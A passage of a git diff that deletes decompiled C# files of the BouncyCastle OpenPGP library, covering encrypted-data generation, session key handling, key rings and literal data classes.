PbeMethod : EncMethod - { - private S2k s2k; - - internal PbeMethod(SymmetricKeyAlgorithmTag encAlgorithm, S2k s2k, KeyParameter key) - { - base.encAlgorithm = encAlgorithm; - this.s2k = s2k; - base.key = key; - } - - public KeyParameter GetKey() - { - return key; - } - - public override void AddSessionInfo(byte[] si, SecureRandom random) - { - string symmetricCipherName = PgpUtilities.GetSymmetricCipherName(encAlgorithm); - IBufferedCipher cipher = CipherUtilities.GetCipher(symmetricCipherName + "/CFB/NoPadding"); - byte[] iv = new byte[cipher.GetBlockSize()]; - cipher.Init(forEncryption: true, new ParametersWithRandom(new ParametersWithIV(key, iv), random)); - sessionInfo = cipher.DoFinal(si, 0, si.Length - 2); - } - - public override void Encode(BcpgOutputStream pOut) - { - SymmetricKeyEncSessionPacket p = new SymmetricKeyEncSessionPacket(encAlgorithm, s2k, sessionInfo); - pOut.WritePacket(p); - } - } - - private class PubMethod : EncMethod - { - internal PgpPublicKey pubKey; - - internal byte[][] data; - - internal PubMethod(PgpPublicKey pubKey) - { - this.pubKey = pubKey; - } - - public override void AddSessionInfo(byte[] sessionInfo, SecureRandom random) - { - byte[] encryptedSessionInfo = EncryptSessionInfo(sessionInfo, random); - data = ProcessSessionInfo(encryptedSessionInfo); - } - - private byte[] EncryptSessionInfo(byte[] sessionInfo, SecureRandom random) - { - if (pubKey.Algorithm != PublicKeyAlgorithmTag.EC) - { - IBufferedCipher cipher; - switch (pubKey.Algorithm) - { - case PublicKeyAlgorithmTag.RsaGeneral: - case PublicKeyAlgorithmTag.RsaEncrypt: - cipher = CipherUtilities.GetCipher("RSA//PKCS1Padding"); - break; - case PublicKeyAlgorithmTag.ElGamalEncrypt: - case PublicKeyAlgorithmTag.ElGamalGeneral: - cipher = CipherUtilities.GetCipher("ElGamal/ECB/PKCS1Padding"); - break; - case PublicKeyAlgorithmTag.Dsa: - throw new PgpException("Can't use DSA for encryption."); - case PublicKeyAlgorithmTag.ECDsa: - throw new PgpException("Can't use ECDSA for encryption."); - default: - throw new PgpException("unknown asymmetric algorithm: " + pubKey.Algorithm); - } - AsymmetricKeyParameter parameters = pubKey.GetKey(); - cipher.Init(forEncryption: true, new ParametersWithRandom(parameters, random)); - return cipher.DoFinal(sessionInfo); - } - ECDHPublicBcpgKey eCDHPublicBcpgKey = (ECDHPublicBcpgKey)pubKey.PublicKeyPacket.Key; - IAsymmetricCipherKeyPairGenerator keyPairGenerator = GeneratorUtilities.GetKeyPairGenerator("ECDH"); - keyPairGenerator.Init(new ECKeyGenerationParameters(eCDHPublicBcpgKey.CurveOid, random)); - AsymmetricCipherKeyPair asymmetricCipherKeyPair = keyPairGenerator.GenerateKeyPair(); - ECPrivateKeyParameters eCPrivateKeyParameters = (ECPrivateKeyParameters)asymmetricCipherKeyPair.Private; - ECPublicKeyParameters eCPublicKeyParameters = (ECPublicKeyParameters)asymmetricCipherKeyPair.Public; - ECPublicKeyParameters eCPublicKeyParameters2 = (ECPublicKeyParameters)pubKey.GetKey(); - ECPoint s = eCPublicKeyParameters2.Q.Multiply(eCPrivateKeyParameters.D).Normalize(); - KeyParameter parameters2 = new KeyParameter(Rfc6637Utilities.CreateKey(pubKey.PublicKeyPacket, s)); - IWrapper wrapper = PgpUtilities.CreateWrapper(eCDHPublicBcpgKey.SymmetricKeyAlgorithm); - wrapper.Init(forWrapping: true, new ParametersWithRandom(parameters2, random)); - byte[] array = PgpPad.PadSessionData(sessionInfo); - byte[] array2 = wrapper.Wrap(array, 0, array.Length); - byte[] encoded = new MPInteger(new BigInteger(1, eCPublicKeyParameters.Q.GetEncoded(compressed: false))).GetEncoded(); - byte[] array3 = new byte[encoded.Length + 1 + array2.Length]; - Array.Copy(encoded, 0, array3, 0, encoded.Length); - array3[encoded.Length] = (byte)array2.Length; - Array.Copy(array2, 0, array3, encoded.Length + 1, array2.Length); - return array3; - } - - private byte[][] ProcessSessionInfo(byte[] encryptedSessionInfo) - { - switch (pubKey.Algorithm) - { - case PublicKeyAlgorithmTag.RsaGeneral: - case PublicKeyAlgorithmTag.RsaEncrypt: - return new byte[1][] { ConvertToEncodedMpi(encryptedSessionInfo) }; - case PublicKeyAlgorithmTag.ElGamalEncrypt: - case PublicKeyAlgorithmTag.ElGamalGeneral: - { - int num = encryptedSessionInfo.Length / 2; - byte[] array = new byte[num]; - byte[] array2 = new byte[num]; - Array.Copy(encryptedSessionInfo, 0, array, 0, num); - Array.Copy(encryptedSessionInfo, num, array2, 0, num); - return new byte[2][] - { - ConvertToEncodedMpi(array), - ConvertToEncodedMpi(array2) - }; - } - case PublicKeyAlgorithmTag.EC: - return new byte[1][] { encryptedSessionInfo }; - default: - throw new PgpException("unknown asymmetric algorithm: " + pubKey.Algorithm); - } - } - - private byte[] ConvertToEncodedMpi(byte[] encryptedSessionInfo) - { - try - { - return new MPInteger(new BigInteger(1, encryptedSessionInfo)).GetEncoded(); - } - catch (IOException ex) - { - throw new PgpException("Invalid MPI encoding: " + ex.Message, ex); - } - } - - public override void Encode(BcpgOutputStream pOut) - { - PublicKeyEncSessionPacket p = new PublicKeyEncSessionPacket(pubKey.KeyId, pubKey.Algorithm, data); - pOut.WritePacket(p); - } - } - - private BcpgOutputStream pOut; - - private CipherStream cOut; - - private IBufferedCipher c; - - private bool withIntegrityPacket; - - private bool oldFormat; - - private DigestStream digestOut; - - private readonly IList methods = Platform.CreateArrayList(); - - private readonly SymmetricKeyAlgorithmTag defAlgorithm; - - private readonly SecureRandom rand; - - public PgpEncryptedDataGenerator(SymmetricKeyAlgorithmTag encAlgorithm) - { - defAlgorithm = encAlgorithm; - rand = new SecureRandom(); - } - - public PgpEncryptedDataGenerator(SymmetricKeyAlgorithmTag encAlgorithm, bool withIntegrityPacket) - { - defAlgorithm = encAlgorithm; - this.withIntegrityPacket = withIntegrityPacket; - rand = new SecureRandom(); - } - - public PgpEncryptedDataGenerator(SymmetricKeyAlgorithmTag encAlgorithm, SecureRandom rand) - { - defAlgorithm = encAlgorithm; - this.rand = rand; - } - - public PgpEncryptedDataGenerator(SymmetricKeyAlgorithmTag encAlgorithm, bool withIntegrityPacket, SecureRandom rand) - { - defAlgorithm = encAlgorithm; - this.rand = rand; - this.withIntegrityPacket = withIntegrityPacket; - } - - public PgpEncryptedDataGenerator(SymmetricKeyAlgorithmTag encAlgorithm, SecureRandom rand, bool oldFormat) - { - defAlgorithm = encAlgorithm; - this.rand = rand; - this.oldFormat = oldFormat; - } - - [Obsolete("Use version that takes an explicit s2kDigest parameter")] - public void AddMethod(char[] passPhrase) - { - AddMethod(passPhrase, HashAlgorithmTag.Sha1); - } - - public void AddMethod(char[] passPhrase, HashAlgorithmTag s2kDigest) - { - DoAddMethod(PgpUtilities.EncodePassPhrase(passPhrase, utf8: false), clearPassPhrase: true, s2kDigest); - } - - public void AddMethodUtf8(char[] passPhrase, HashAlgorithmTag s2kDigest) - { - DoAddMethod(PgpUtilities.EncodePassPhrase(passPhrase, utf8: true), clearPassPhrase: true, s2kDigest); - } - - public void AddMethodRaw(byte[] rawPassPhrase, HashAlgorithmTag s2kDigest) - { - DoAddMethod(rawPassPhrase, clearPassPhrase: false, s2kDigest); - } - - internal void DoAddMethod(byte[] rawPassPhrase, bool clearPassPhrase, HashAlgorithmTag s2kDigest) - { - S2k s2k = PgpUtilities.GenerateS2k(s2kDigest, 96, rand); - methods.Add(new PbeMethod(defAlgorithm, s2k, PgpUtilities.DoMakeKeyFromPassPhrase(defAlgorithm, s2k, rawPassPhrase, clearPassPhrase))); - } - - public void AddMethod(PgpPublicKey key) - { - if (!key.IsEncryptionKey) - { - throw new ArgumentException("passed in key not an encryption key!"); - } - methods.Add(new PubMethod(key)); - } - - private void AddCheckSum(byte[] sessionInfo) - { - int num = 0; - for (int i = 1; i < sessionInfo.Length - 2; i++) - { - num += sessionInfo[i]; - } - sessionInfo[^2] = (byte)(num >> 8); - sessionInfo[^1] = (byte)num; - } - - private byte[] CreateSessionInfo(SymmetricKeyAlgorithmTag algorithm, KeyParameter key) - { - byte[] key2 = key.GetKey(); - byte[] array = new byte[key2.Length + 3]; - array[0] = (byte)algorithm; - key2.CopyTo(array, 1); - AddCheckSum(array); - return array; - } - - private Stream Open(Stream outStr, long length, byte[] buffer) - { - if (cOut != null) - { - throw new InvalidOperationException("generator already in open state"); - } - if (methods.Count == 0) - { - throw new InvalidOperationException("No encryption methods specified"); - } - if (outStr == null) - { - throw new ArgumentNullException("outStr"); - } - pOut = new BcpgOutputStream(outStr); - KeyParameter keyParameter; - if (methods.Count == 1) - { - if (methods[0] is PbeMethod) - { - PbeMethod pbeMethod = (PbeMethod)methods[0]; - keyParameter = pbeMethod.GetKey(); - } - else - { - keyParameter = PgpUtilities.MakeRandomKey(defAlgorithm, rand); - byte[] si = CreateSessionInfo(defAlgorithm, keyParameter); - PubMethod pubMethod = (PubMethod)methods[0]; - try - { - pubMethod.AddSessionInfo(si, rand); - } - catch (Exception exception) - { - throw new PgpException("exception encrypting session key", exception); - } - } - pOut.WritePacket((ContainedPacket)methods[0]); - } - else - { - keyParameter = PgpUtilities.MakeRandomKey(defAlgorithm, rand); - byte[] si2 = CreateSessionInfo(defAlgorithm, keyParameter); - for (int i = 0; i != methods.Count; i++) - { - EncMethod encMethod = (EncMethod)methods[i]; - try - { - encMethod.AddSessionInfo(si2, rand); - } - catch (Exception exception2) - { - throw new PgpException("exception encrypting session key", exception2); - } - pOut.WritePacket(encMethod); - } - } - string symmetricCipherName = PgpUtilities.GetSymmetricCipherName(defAlgorithm); - if (symmetricCipherName == null) - { - throw new PgpException("null cipher specified"); - } - try - { - symmetricCipherName = ((!withIntegrityPacket) ? (symmetricCipherName + "/OpenPGPCFB/NoPadding") : (symmetricCipherName + "/CFB/NoPadding")); - c = CipherUtilities.GetCipher(symmetricCipherName); - byte[] iv = new byte[c.GetBlockSize()]; - c.Init(forEncryption: true, new ParametersWithRandom(new ParametersWithIV(keyParameter, iv), rand)); - if (buffer == null) - { - if (withIntegrityPacket) - { - pOut = new BcpgOutputStream(outStr, PacketTag.SymmetricEncryptedIntegrityProtected, length + c.GetBlockSize() + 2 + 1 + 22); - pOut.WriteByte(1); - } - else - { - pOut = new BcpgOutputStream(outStr, PacketTag.SymmetricKeyEncrypted, length + c.GetBlockSize() + 2, oldFormat); - } - } - else if (withIntegrityPacket) - { - pOut = new BcpgOutputStream(outStr, PacketTag.SymmetricEncryptedIntegrityProtected, buffer); - pOut.WriteByte(1); - } - else - { - pOut = new BcpgOutputStream(outStr, PacketTag.SymmetricKeyEncrypted, buffer); - } - int blockSize = c.GetBlockSize(); - byte[] array = new byte[blockSize + 2]; - rand.NextBytes(array, 0, blockSize); - Array.Copy(array, array.Length - 4, array, array.Length - 2, 2); - Stream stream = (cOut = new CipherStream(pOut, null, c)); - if (withIntegrityPacket) - { - string digestName = PgpUtilities.GetDigestName(HashAlgorithmTag.Sha1); - IDigest digest = DigestUtilities.GetDigest(digestName); - stream = (digestOut = new DigestStream(stream, null, digest)); - } - stream.Write(array, 0, array.Length); - return new WrappedGeneratorStream(this, stream); - } - catch (Exception exception3) - { - throw new PgpException("Exception creating cipher", exception3); - } - } - - public Stream Open(Stream outStr, long length) - { - return Open(outStr, length, null); - } - - public Stream Open(Stream outStr, byte[] buffer) - { - return Open(outStr, 0L, buffer); - } - - public void Close() - { - if (cOut != null) - { - if (digestOut != null) - { - BcpgOutputStream bcpgOutputStream = new BcpgOutputStream(digestOut, PacketTag.ModificationDetectionCode, 20L); - bcpgOutputStream.Flush(); - digestOut.Flush(); - byte[] array = DigestUtilities.DoFinal(digestOut.WriteDigest()); - cOut.Write(array, 0, array.Length); - } - cOut.Flush(); - try - { - pOut.Write(c.DoFinal()); - pOut.Finish(); - } - catch (Exception ex) - { - throw new IOException(ex.Message, ex); - } - cOut = null; - pOut = null; - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpEncryptedDataList.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpEncryptedDataList.cs deleted file mode 100644 index aadac03..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpEncryptedDataList.cs +++ /dev/null @@ -1,53 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Collections; - -namespace Org.BouncyCastle.Bcpg.OpenPgp; - -public class PgpEncryptedDataList : PgpObject -{ - private IList list = Platform.CreateArrayList(); - - private InputStreamPacket data; - - public PgpEncryptedData this[int index] => (PgpEncryptedData)list[index]; - - [Obsolete("Use 'Count' property instead")] - public int Size => list.Count; - - public int Count => list.Count; - - public bool IsEmpty => list.Count == 0; - - public PgpEncryptedDataList(BcpgInputStream bcpgInput) - { - while (bcpgInput.NextPacketTag() == PacketTag.PublicKeyEncryptedSession || bcpgInput.NextPacketTag() == PacketTag.SymmetricKeyEncryptedSessionKey) - { - list.Add(bcpgInput.ReadPacket()); - } - data = (InputStreamPacket)bcpgInput.ReadPacket(); - for (int i = 0; i != list.Count; i++) - { - if (list[i] is SymmetricKeyEncSessionPacket) - { - list[i] = new PgpPbeEncryptedData((SymmetricKeyEncSessionPacket)list[i], data); - } - else - { - list[i] = new PgpPublicKeyEncryptedData((PublicKeyEncSessionPacket)list[i], data); - } - } - } - - [Obsolete("Use 'object[index]' syntax instead")] - public object Get(int index) - { - return this[index]; - } - - public IEnumerable GetEncryptedDataObjects() - { - return new EnumerableProxy(list); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpException.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpException.cs deleted file mode 100644 index bdeab99..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpException.cs +++ /dev/null @@ -1,24 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Bcpg.OpenPgp; - -[Serializable] -public class PgpException : Exception -{ - [Obsolete("Use InnerException property")] - public Exception UnderlyingException => base.InnerException; - - public PgpException() - { - } - - public PgpException(string message) - : base(message) - { - } - - public PgpException(string message, Exception exception) - : base(message, exception) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpExperimental.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpExperimental.cs deleted file mode 100644 index 7ba534c..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpExperimental.cs +++ /dev/null @@ -1,11 +0,0 @@ -namespace Org.BouncyCastle.Bcpg.OpenPgp; - -public class PgpExperimental : PgpObject -{ - private readonly ExperimentalPacket p; - - public PgpExperimental(BcpgInputStream bcpgIn) - { - p = (ExperimentalPacket)bcpgIn.ReadPacket(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpKeyFlags.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpKeyFlags.cs deleted file mode 100644 index 825c2a3..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpKeyFlags.cs +++ /dev/null @@ -1,16 +0,0 @@ -namespace Org.BouncyCastle.Bcpg.OpenPgp; - -public abstract class PgpKeyFlags -{ - public const int CanCertify = 1; - - public const int CanSign = 2; - - public const int CanEncryptCommunications = 4; - - public const int CanEncryptStorage = 8; - - public const int MaybeSplit = 16; - - public const int MaybeShared = 128; -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpKeyPair.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpKeyPair.cs deleted file mode 100644 index 54cff88..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpKeyPair.cs +++ /dev/null @@ -1,34 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto; - -namespace Org.BouncyCastle.Bcpg.OpenPgp; - -public class PgpKeyPair -{ - private readonly PgpPublicKey pub; - - private readonly PgpPrivateKey priv; - - public long KeyId => pub.KeyId; - - public PgpPublicKey PublicKey => pub; - - public PgpPrivateKey PrivateKey => priv; - - public PgpKeyPair(PublicKeyAlgorithmTag algorithm, AsymmetricCipherKeyPair keyPair, DateTime time) - : this(algorithm, keyPair.Public, keyPair.Private, time) - { - } - - public PgpKeyPair(PublicKeyAlgorithmTag algorithm, AsymmetricKeyParameter pubKey, AsymmetricKeyParameter privKey, DateTime time) - { - pub = new PgpPublicKey(algorithm, pubKey, time); - priv = new PgpPrivateKey(pub.KeyId, pub.PublicKeyPacket, privKey); - } - - public PgpKeyPair(PgpPublicKey pub, PgpPrivateKey priv) - { - this.pub = pub; - this.priv = priv; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpKeyRing.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpKeyRing.cs deleted file mode 100644 index 1601e6e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpKeyRing.cs +++ /dev/null @@ -1,63 +0,0 @@ -using System.Collections; -using System.IO; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Bcpg.OpenPgp; - -public abstract class PgpKeyRing : PgpObject -{ - internal PgpKeyRing() - { - } - - internal static TrustPacket ReadOptionalTrustPacket(BcpgInputStream bcpgInput) - { - if (bcpgInput.NextPacketTag() != PacketTag.Trust) - { - return null; - } - return (TrustPacket)bcpgInput.ReadPacket(); - } - - internal static IList ReadSignaturesAndTrust(BcpgInputStream bcpgInput) - { - try - { - IList list = Platform.CreateArrayList(); - while (bcpgInput.NextPacketTag() == PacketTag.Signature) - { - SignaturePacket sigPacket = (SignaturePacket)bcpgInput.ReadPacket(); - TrustPacket trustPacket = ReadOptionalTrustPacket(bcpgInput); - list.Add(new PgpSignature(sigPacket, trustPacket)); - } - return list; - } - catch (PgpException ex) - { - throw new IOException("can't create signature object: " + ex.Message, ex); - } - } - - internal static void ReadUserIDs(BcpgInputStream bcpgInput, out IList ids, out IList idTrusts, out IList idSigs) - { - ids = Platform.CreateArrayList(); - idTrusts = Platform.CreateArrayList(); - idSigs = Platform.CreateArrayList(); - while (bcpgInput.NextPacketTag() == PacketTag.UserId || bcpgInput.NextPacketTag() == PacketTag.UserAttribute) - { - Packet packet = bcpgInput.ReadPacket(); - if (packet is UserIdPacket) - { - UserIdPacket userIdPacket = (UserIdPacket)packet; - ids.Add(userIdPacket.GetId()); - } - else - { - UserAttributePacket userAttributePacket = (UserAttributePacket)packet; - ids.Add(new PgpUserAttributeSubpacketVector(userAttributePacket.GetSubpackets())); - } - idTrusts.Add(ReadOptionalTrustPacket(bcpgInput)); - idSigs.Add(ReadSignaturesAndTrust(bcpgInput)); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpKeyRingGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpKeyRingGenerator.cs deleted file mode 100644 index c506a35..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpKeyRingGenerator.cs +++ /dev/null @@ -1,162 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Bcpg.OpenPgp; - -public class PgpKeyRingGenerator -{ - private IList keys = Platform.CreateArrayList(); - - private string id; - - private SymmetricKeyAlgorithmTag encAlgorithm; - - private HashAlgorithmTag hashAlgorithm; - - private int certificationLevel; - - private byte[] rawPassPhrase; - - private bool useSha1; - - private PgpKeyPair masterKey; - - private PgpSignatureSubpacketVector hashedPacketVector; - - private PgpSignatureSubpacketVector unhashedPacketVector; - - private SecureRandom rand; - - [Obsolete("Use version taking an explicit 'useSha1' parameter instead")] - public PgpKeyRingGenerator(int certificationLevel, PgpKeyPair masterKey, string id, SymmetricKeyAlgorithmTag encAlgorithm, char[] passPhrase, PgpSignatureSubpacketVector hashedPackets, PgpSignatureSubpacketVector unhashedPackets, SecureRandom rand) - : this(certificationLevel, masterKey, id, encAlgorithm, passPhrase, useSha1: false, hashedPackets, unhashedPackets, rand) - { - } - - public PgpKeyRingGenerator(int certificationLevel, PgpKeyPair masterKey, string id, SymmetricKeyAlgorithmTag encAlgorithm, char[] passPhrase, bool useSha1, PgpSignatureSubpacketVector hashedPackets, PgpSignatureSubpacketVector unhashedPackets, SecureRandom rand) - : this(certificationLevel, masterKey, id, encAlgorithm, utf8PassPhrase: false, passPhrase, useSha1, hashedPackets, unhashedPackets, rand) - { - } - - public PgpKeyRingGenerator(int certificationLevel, PgpKeyPair masterKey, string id, SymmetricKeyAlgorithmTag encAlgorithm, bool utf8PassPhrase, char[] passPhrase, bool useSha1, PgpSignatureSubpacketVector hashedPackets, PgpSignatureSubpacketVector unhashedPackets, SecureRandom rand) - : this(certificationLevel, masterKey, id, encAlgorithm, PgpUtilities.EncodePassPhrase(passPhrase, utf8PassPhrase), useSha1, hashedPackets, unhashedPackets, rand) - { - } - - public PgpKeyRingGenerator(int certificationLevel, PgpKeyPair masterKey, string id, SymmetricKeyAlgorithmTag encAlgorithm, byte[] rawPassPhrase, bool useSha1, PgpSignatureSubpacketVector hashedPackets, PgpSignatureSubpacketVector unhashedPackets, SecureRandom rand) - { - this.certificationLevel = certificationLevel; - this.masterKey = masterKey; - this.id = id; - this.encAlgorithm = encAlgorithm; - this.rawPassPhrase = rawPassPhrase; - this.useSha1 = useSha1; - hashedPacketVector = hashedPackets; - unhashedPacketVector = unhashedPackets; - this.rand = rand; - keys.Add(new PgpSecretKey(certificationLevel, masterKey, id, encAlgorithm, rawPassPhrase, clearPassPhrase: false, useSha1, hashedPackets, unhashedPackets, rand)); - } - - public PgpKeyRingGenerator(int certificationLevel, PgpKeyPair masterKey, string id, SymmetricKeyAlgorithmTag encAlgorithm, HashAlgorithmTag hashAlgorithm, char[] passPhrase, bool useSha1, PgpSignatureSubpacketVector hashedPackets, PgpSignatureSubpacketVector unhashedPackets, SecureRandom rand) - : this(certificationLevel, masterKey, id, encAlgorithm, hashAlgorithm, utf8PassPhrase: false, passPhrase, useSha1, hashedPackets, unhashedPackets, rand) - { - } - - public PgpKeyRingGenerator(int certificationLevel, PgpKeyPair masterKey, string id, SymmetricKeyAlgorithmTag encAlgorithm, HashAlgorithmTag hashAlgorithm, bool utf8PassPhrase, char[] passPhrase, bool useSha1, PgpSignatureSubpacketVector hashedPackets, PgpSignatureSubpacketVector unhashedPackets, SecureRandom rand) - : this(certificationLevel, masterKey, id, encAlgorithm, hashAlgorithm, PgpUtilities.EncodePassPhrase(passPhrase, utf8PassPhrase), useSha1, hashedPackets, unhashedPackets, rand) - { - } - - public PgpKeyRingGenerator(int certificationLevel, PgpKeyPair masterKey, string id, SymmetricKeyAlgorithmTag encAlgorithm, HashAlgorithmTag hashAlgorithm, byte[] rawPassPhrase, bool useSha1, PgpSignatureSubpacketVector hashedPackets, PgpSignatureSubpacketVector unhashedPackets, SecureRandom rand) - { - this.certificationLevel = certificationLevel; - this.masterKey = masterKey; - this.id = id; - this.encAlgorithm = encAlgorithm; - this.rawPassPhrase = rawPassPhrase; - this.useSha1 = useSha1; - hashedPacketVector = hashedPackets; - unhashedPacketVector = unhashedPackets; - this.rand = rand; - this.hashAlgorithm = hashAlgorithm; - keys.Add(new PgpSecretKey(certificationLevel, masterKey, id, encAlgorithm, hashAlgorithm, rawPassPhrase, clearPassPhrase: false, useSha1, hashedPackets, unhashedPackets, rand)); - } - - public void AddSubKey(PgpKeyPair keyPair) - { - AddSubKey(keyPair, hashedPacketVector, unhashedPacketVector); - } - - public void AddSubKey(PgpKeyPair keyPair, HashAlgorithmTag hashAlgorithm) - { - AddSubKey(keyPair, hashedPacketVector, unhashedPacketVector, hashAlgorithm); - } - - public void AddSubKey(PgpKeyPair keyPair, PgpSignatureSubpacketVector hashedPackets, PgpSignatureSubpacketVector unhashedPackets) - { - try - { - PgpSignatureGenerator pgpSignatureGenerator = new PgpSignatureGenerator(masterKey.PublicKey.Algorithm, HashAlgorithmTag.Sha1); - pgpSignatureGenerator.InitSign(24, masterKey.PrivateKey); - pgpSignatureGenerator.SetHashedSubpackets(hashedPackets); - pgpSignatureGenerator.SetUnhashedSubpackets(unhashedPackets); - IList list = Platform.CreateArrayList(); - list.Add(pgpSignatureGenerator.GenerateCertification(masterKey.PublicKey, keyPair.PublicKey)); - keys.Add(new PgpSecretKey(keyPair.PrivateKey, new PgpPublicKey(keyPair.PublicKey, null, list), encAlgorithm, rawPassPhrase, clearPassPhrase: false, useSha1, rand, isMasterKey: false)); - } - catch (PgpException ex) - { - throw ex; - } - catch (Exception exception) - { - throw new PgpException("exception adding subkey: ", exception); - } - } - - public void AddSubKey(PgpKeyPair keyPair, PgpSignatureSubpacketVector hashedPackets, PgpSignatureSubpacketVector unhashedPackets, HashAlgorithmTag hashAlgorithm) - { - try - { - PgpSignatureGenerator pgpSignatureGenerator = new PgpSignatureGenerator(masterKey.PublicKey.Algorithm, hashAlgorithm); - pgpSignatureGenerator.InitSign(24, masterKey.PrivateKey); - pgpSignatureGenerator.SetHashedSubpackets(hashedPackets); - pgpSignatureGenerator.SetUnhashedSubpackets(unhashedPackets); - IList list = Platform.CreateArrayList(); - list.Add(pgpSignatureGenerator.GenerateCertification(masterKey.PublicKey, keyPair.PublicKey)); - keys.Add(new PgpSecretKey(keyPair.PrivateKey, new PgpPublicKey(keyPair.PublicKey, null, list), encAlgorithm, rawPassPhrase, clearPassPhrase: false, useSha1, rand, isMasterKey: false)); - } - catch (PgpException) - { - throw; - } - catch (Exception exception) - { - throw new PgpException("exception adding subkey: ", exception); - } - } - - public PgpSecretKeyRing GenerateSecretKeyRing() - { - return new PgpSecretKeyRing(keys); - } - - public PgpPublicKeyRing GeneratePublicKeyRing() - { - IList list = Platform.CreateArrayList(); - IEnumerator enumerator = keys.GetEnumerator(); - enumerator.MoveNext(); - PgpSecretKey pgpSecretKey = (PgpSecretKey)enumerator.Current; - list.Add(pgpSecretKey.PublicKey); - while (enumerator.MoveNext()) - { - pgpSecretKey = (PgpSecretKey)enumerator.Current; - PgpPublicKey pgpPublicKey = new PgpPublicKey(pgpSecretKey.PublicKey); - pgpPublicKey.publicPk = new PublicSubkeyPacket(pgpPublicKey.Algorithm, pgpPublicKey.CreationTime, pgpPublicKey.publicPk.Key); - list.Add(pgpPublicKey); - } - return new PgpPublicKeyRing(list); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpKeyValidationException.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpKeyValidationException.cs deleted file mode 100644 index 57ee3b5..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpKeyValidationException.cs +++ /dev/null @@ -1,21 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Bcpg.OpenPgp; - -[Serializable] -public class PgpKeyValidationException : PgpException -{ - public PgpKeyValidationException() - { - } - - public PgpKeyValidationException(string message) - : base(message) - { - } - - public PgpKeyValidationException(string message, Exception exception) - : base(message, exception) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpLiteralData.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpLiteralData.cs deleted file mode 100644 index 71153a7..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpLiteralData.cs +++ /dev/null @@ -1,44 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Utilities.Date; - -namespace Org.BouncyCastle.Bcpg.OpenPgp; - -public class PgpLiteralData : PgpObject -{ - public const char Binary = 'b'; - - public const char Text = 't'; - - public const char Utf8 = 'u'; - - public const string Console = "_CONSOLE"; - - private LiteralDataPacket data; - - public int Format => data.Format; - - public string FileName => data.FileName; - - public DateTime ModificationTime => DateTimeUtilities.UnixMsToDateTime(data.ModificationTime); - - public PgpLiteralData(BcpgInputStream bcpgInput) - { - data = (LiteralDataPacket)bcpgInput.ReadPacket(); - } - - public byte[] GetRawFileName() - { - return data.GetRawFileName(); - } - - public Stream GetInputStream() - { - return data.GetInputStream(); - } - - public Stream GetDataStream() - { - return GetInputStream(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpLiteralDataGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpLiteralDataGenerator.cs deleted file mode 100644 index 3b86093..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpLiteralDataGenerator.cs +++ /dev/null @@ -1,87 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Date; - -namespace Org.BouncyCastle.Bcpg.OpenPgp; - -public class PgpLiteralDataGenerator : IStreamGenerator -{ - public const char Binary = 'b'; - - public const char Text = 't'; - - public const char Utf8 = 'u'; - - public const string Console = "_CONSOLE"; - - private BcpgOutputStream pkOut; - - private bool oldFormat; - - public PgpLiteralDataGenerator() - { - } 